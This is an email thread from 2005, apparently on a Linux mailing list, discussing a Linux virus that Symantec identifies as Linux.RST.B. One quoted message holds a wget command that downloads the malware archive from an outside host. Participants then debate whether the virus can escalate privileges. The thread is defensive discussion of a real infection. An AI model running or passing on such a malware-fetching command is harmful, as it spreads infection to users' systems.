On Wed, 2005-04-27 at 15:50 +0100, Nigel Wade wrote:
Gustavo Seabra wrote:
> On 4/27/05, Håkan Persson <hakan(a)zyberit.com> wrote:
>
>>Daniel Kirsten wrote:
>>
>>
>>>wget
www.ring.as.ro/x/qwe.tgz
>>>
>>>
>>
>>This is what Symantec thinks of the content of the file:
>>http://securityresponse.symantec.com/avcenter/venc/data/linux.rst.b.html
>>
>>/Håkan
>
>
> Well, so much for the "do not wory about viruses in Linux machines"
stories...
>
Number of infections 0-49, number of sites 0-2 - over 3 years.
Wow, it's speading like wildfire... help, help!
It has no escalation mechanism, so can only infect ELF files to which the
user infected has write permission.
Threat ~0.
not true.
it also infects files in /bin as stated by symantic and as stated by
Daniel. Thus it has some method of getting root privileges.